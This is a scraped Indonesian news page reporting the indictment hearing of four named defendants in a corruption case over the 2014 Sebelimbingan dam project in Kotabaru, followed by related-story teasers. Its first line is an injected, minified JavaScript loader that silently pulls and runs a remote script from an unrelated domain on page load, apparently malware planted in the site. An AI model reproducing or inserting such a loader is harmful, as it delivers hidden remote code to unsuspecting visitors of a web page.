(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, bertempat di PN Tipikor Banjarmasin gelaran kasus dugaan korupsi pada proyek pembangunan DAM/Bendung Sebelimbingan tahun anggaran 2014 berlangsung singkat. Para terdakwa, masing-masing M Riduan, M Arsyad, H Syariffudin Ahmad Azhari dan H Bazrul Rakhman menghadiri sidang untuk mendengarkan surat dakwaan yang disampai oleh Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri Kotabaru, Pinto Aribowo dan Harisha C Wibowo, Selasa (12/12).
JPU menyampaikan dalam sidang, bahwa kelima terdakwa terjerat pasal tentang pemberantasan Tindak Pidana Korupsi. Mantan Kepala Dinas Binamarga Kotabaru, M Riduan sendiri disinyalir ada perbuatan menguntungkan diri sendiri sekitar Rp 951 juta.
Melihat pemaparan JPU tersebut, M Riduan dengan pengacaranya mengajukan keberatan/eksepsi tentang surat dakwaan tersebut. Sidang yang dipimpin oleh Majelis Hakim Sihar H. Purba SH, MH menyetujui eksepsi dari M.Riduan dan akan dilanjutkan pada selasa (19/12) bertempat di PN Tipikor Banjarmasin. (Ammar)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.